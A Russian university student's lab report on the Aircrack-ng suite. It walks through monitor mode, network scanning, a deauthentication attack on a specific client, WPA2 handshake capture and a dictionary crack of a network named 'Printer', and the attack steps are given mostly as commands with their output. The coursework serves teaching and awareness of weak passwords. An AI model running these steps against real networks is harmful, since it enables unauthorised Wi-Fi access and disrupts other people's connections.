#### Санкт-Петербургский государственный политехнический университет

Институт компьютерных наук и технологий

Кафедра компьютерных систем и программных технологий

# OTYET

о лабораторной работе №5

по дисциплине: «Информационная безопасность»

Тема работы: «Набор инструментов для аудита беспроводных сетей AirCrack»

### Работу выполнил студент

53501/3 Богданов Н.Е.

Преподаватель

\_\_\_\_\_ Вылегжанина Карина Дмитриевна

# 1. Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP.

Изучение

- 1) Изучить документацию по основным утилитам пакета airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.
- 2) Запустить режим мониторинга на беспроводном интерфейсе
- 3) Запустить утилиту airodump, изучить формат вывода этой утилиты, форматы файлов, которые она может создавать

Практическое задание:

- 1) Запустить режим мониторинга на беспроводном интерфейсе
- 2) Запустить сбор трафика для получения аутентификационных сообщений
- 3) Если аутентификаций в сети не происходит в разумный промежуток времени, произвести деаутентификацию одного из клиентов, до тех пор, пока не удастся собрать необходимых для взлома аутенти- фикационных сообщений
- 4) Произвести взлом используя словарь паролей

# 2. Ход работы

#### 2.1. Основные утилиты пакета Aircrack

- Airodump-ng утилита, предназначенная для захвата пакетов протокола 802.11.
- Aireplay-ng утилита, для генерации трафика, необходимого для взлома при помощи утилиты aircrack-ng.
- Aircrack-ng утилита для взлома ключей WEP и WPA при помощи перебора по словарю.

# 2.2. Запуск режима мониторинга на беспроводном интерфейсе

```
root@kali: $ airmon-ng start wlan0
1
2
3
 Found 5 processes that could cause trouble.
4
  If airodump-ng, aireplay-ng or airtun-ng stops working after
5
6
  a short period of time, you may want to kill (some of) them!
7
8
  PID
          Name
  625
          NetworkManager
```

```
10
   929
            wpa_supplicant
11
   1474
            dhclient
12
            avahi-daemon
   1551
13
   1566
            avahi-daemon
   Process with PID 1474 (dhclient) is running on interface wlan0
14
15
16
17
   Interface
                     Chipset
                                      Driver
18
19
                                      iwlwifi - [phy0]
   wlan0
                     Intel AC
20
   (monitor mode enabled on mon0)
```

# 2.3. Запустить утилиту airodump и изучить форматы вывода этой утилиты

При указании ключа –write, утилита создает набор файлов с заданным префиксом. Два из которых связаны с информацией о доступных сетях и представлены в двух форматах: csv и xml. Еще два фала содержать информацию о перехваченных пакетах. Файл типа .cap содержит перехваченные пакеты, в то время как csv содержит лишь сокращенную информацию.

```
1 root@kali: $ ls dump-03* dump-03.csv dump-03.kismet.csv dump-03.kismet.netxml
```

# 3. Практическое задание

Запустим режим мониторинга на беспроводном интерфейсе

```
1 root@kali: $ sudo airodump-ng mon0
```

```
Файл Правка
               Вид
                    Терминал
                                Вкладки
                                          Справка
CH 1 ][ Elapsed: 3 mins ][ 2016-05-30 06:05 ][ WPA handshake: 10:FE:ED:E5:BD:02
BSSID
                                    #Data, #/s CH MB
                                                         ENC CIPHER AUTH ESSID
                   PWR
                        Beacons
10:FE:ED:E5:BD:01
                   -47
                                        0
                                                 6
                                                    54e. WPA2 CCMP
                                                                      PSK
                                                                           Artyom OpenWrt
12:FE:ED:E5:BD:01
                               2
                                                                           Printer
                   -47
                                        0
                                             0
                                                    54e. WPA2
                                                              CCMP
                                                                      PSK
10:FE:ED:E5:BD:02
                   -54
                                      100
                                             0
                                                36
                                                    54e
                                                         WPA2 CCMP
                                                                      PSK
                                                                           Artyom OpenWrt 5 GHz
9C:37:F4:77:7E:24
                   -68
                                       0
                                                    54e
                                                         WPA2 CCMP
                                                                      PSK
                                                                           HUAWEI-rH2R
                               0
                                       0
                                             0
                                                44
                                                    54e
00:18:E7:FD:66:5E
                   -71
                                                         WPA2 CCMP
                                                                      PSK
                                                                           GalsGroup
2C:AB:25:3C:87:5A
                               0
                                        0
                                             0
                                                 0
                                                    54e
                                                         WPA2 CCMP
                                                                           GalsFree
                                                                      PSK
2C:AB:00:E6:D3:D8
                   -79
                               0
                                        0
                                             0
                                                11
                                                    54e
                                                         WPA2
                                                              CCMP
                                                                      PSK
                                                                           Rostelekom
F8:D1:11:5C:4C:16
                                                    54e.
                                                               CCMP
                   -80
                                        0
                                             0
                                                11
                                                         WPA2
                                                                      PSK
                                                                           Nika
                                                    54e
C8:60:00:71:E6:3C
                                        0
                                             0
                                                         WPA2 CCMP
                                                                      PSK
                   -81
10:C3:7B:43:71:84
                                        0
                                             0
                   -82
                                                    54e
                                                         WPA2 CCMP
                                                                      PSK
                                                                           seryx
                                             0
                                                    54e. WPA2 CCMP
F8:1A:67:AD:AC:9C
                   -82
                                        0
                                                                      PSK
                                                                           Lugaru
                                             0
                                        0
14:CC:20:9F:71:36
                   -82
                                                    54e. WPA2 CCMP
                                                                      PSK
                                                                          nastya
BSSID
                   STATION
                                       PWR
                                             Rate
                                                     Lost
                                                              Frames
                                                                      Probe
```

Рис. 1: airodump

Нас интересует сеть Printer.

Запустим сбор трафика для получения аутентификационных сообщений:

```
1 root@kali:$airodump-ng mon0 --write airdump --bssid 12:FE:ED:E5:BD:01 -c 6
```

```
Файл
      Правка
               Вид
                    Терминал
                                Вкладки
                                         Справка
CH 6 [ Elapsed: 1 min ][ 2016-05-30 06:12 ][ fixed channel mon0: 1
BSSID
                   PWR RXQ
                            Beacons
                                       #Data, #/s
                                                   CH MB
                                                             ENC CIPHER AUTH ESSID
12:FE:ED:E5:BD:01 -52 100
                                340
                                         477
                                                3
                                                    6
                                                       54e. WPA2 CCMP
                                                                         PSK
                                                                              Printer
BSSID
                                      PWR
                   STATION
                                            Rate
                                                    Lost
                                                             Frames
                                                                     Probe
12:FE:ED:E5:BD:01 CC:FA:00:AB:87:F0
                                      -28
                                             0e- 1
                                                       172
                                                                103
12:FE:ED:E5:BD:01
                   00:36:76:21:02:1E
                                      -39
                                             0e- 0e
                                                        0
                                                                 52
12:FE:ED:E5:BD:01
                  3C:83:75:AE:B5:98
                                             0e- 6
                                                        0
                                                                381
```

Рис. 2: airodump

Произведем деаутентификацию одного из клиентов (клиента с MAC-адресом CC:FA:00:AB:87:F0), до тех пор, пока не удастся собрать необходимых для взлома аутентификационных сообщений.

```
1 root@kali:$aireplay-ng --ignore-negative-one --deauth 150 -a 12:FE:ED
    :E5:BD:01 -h CC:FA:00:AB:87:F0 mon0
2 06:25:42 Waiting for beacon frame (BSSID: 12:FE:ED:E5:BD:01) on
    channel 6
```

```
NB: this attack is more effective when targeting
  a connected wireless client (-c <client's mac>).
             Sending DeAuth to broadcast -- BSSID: [12:FE:ED:E5:BD:01]
  06:25:42
6
  06:25:43
             Sending DeAuth to broadcast -- BSSID: [12:FE:ED:E5:BD:01]
7
  06:25:43
             Sending DeAuth to broadcast -- BSSID: [12:FE:ED:E5:BD:01]
  06:25:53
             Sending DeAuth to broadcast -- BSSID: [12:FE:ED:E5:BD:01]
9
   06:26:03
             Sending DeAuth to broadcast -- BSSID: [12:FE:ED:E5:BD:01]
  06:26:04
10
             Sending DeAuth to broadcast -- BSSID: [12:FE:ED:E5:BD:01]
```

В результате перехватываем пакет handshake:

```
1 root@kali:$airodump-ng mon1 --bssid 12:FE:ED:E5:BD:01 -c 6 --write
    dump --ignore-negative-one
```

```
Терминал
                               Вкладки
      Правка
               Вид
                                        Справка
CH 6 ][ Elapsed: 44 s ][ 2016-05-30 06:32 ][ WPA handshake: 12:FE:ED:E5:BD:01
BSSID
                                                   CH MB
                                                            ENC CIPHER AUTH ESSID
                   PWR RXQ
                           Beacons
                                       #Data, #/s
12:FE:ED:E5:BD:01 -50
                                         319
                       93
                                434
                                                2
                                                       54e. WPA2 CCMP
                                                                        PSK
                                                                             Printer
BSSID
                                      PWR
                                            Rate
                   STATION
                                                    Lost
                                                            Frames
12:FE:ED:E5:BD:01 CC:FA:00:AB:87:F0
                                      -36
                                             0e- 0e
                                                               326
12:FE:ED:E5:BD:01 00:36:76:21:02:1E
                                      -39
                                             0e- 0e
                                                        0
                                                                84
                                                                    Printer
12:FE:ED:E5:BD:01 3C:83:75:AE:B5:98
                                     -61
```

Рис. 3: airodump

Попробуем подобрать пароль, используя полученный пакет с рукопожатием. Для того, что бы взлом происходил быстрее, создадим свой словарь паролей (dict.dic).

```
root@kali:$aircrack-ng dump-03.cap -w dict.dicOpening dump-03.cap
1
2
   Read 1572 packets.
3
4
      BSSID
                            ESSID
                                                         Encryption
5
6
      12:FE:ED:E5:BD:01
                           Printer
                                                         WPA (1 handshake)
7
8
   Choosing first network as target.
9
10
   Opening dump-03.cap
11
   Reading packets, please wait...
12
13
   Aircrack-ng 1.2 beta3
14
15
16
   [00:00:00] 1 keys tested (345.36 \text{ k/s})
17
18
19
   Current passphrase: ...
20
21 | KEY FOUND! [ ... ]
```

```
KEY FOUND! [ ... ]
23
   45 OD 62 F4 FC 81 69 5F D1 1C 65 80 11 8A 1B OA
24
25
   Transient Key
                  : 05 01 A0 F0 28 F2 D0 99 79 2B 09 94 38 93 04 7A
26
   6F C3 75 6C 58 13
                                  99 00 8A 99 79 77
                     7C FB
                            22
                              17
   B9 10 1C 39 DE 5C 0C 29 C5 1C 43 39 B2 06 F5 7B
27
   EAPOL HMAC
                   : E9 D0 1B 6C F3 ED A4 F6 FC 83 5D BC 3C 6A 9F 00
```

В результате видим сообщение об успешно подобранном пароле, а так же сам пароль.

# 4. Выводы

В ходе данной работы были изучены основные возможности пакета AirCrack и принципы взлома WPA2 в режиме PSK. Данный инструмент позволяет прослушивать пакеты в беспроводной, генерировать новые, а так же осуществлять взлом пароля сети при помощи перебора по словарю.

В ходе работы было выяснено, что использование общеупотребимых (словарных) паролей значительно облегчает взлом беспроводной сети.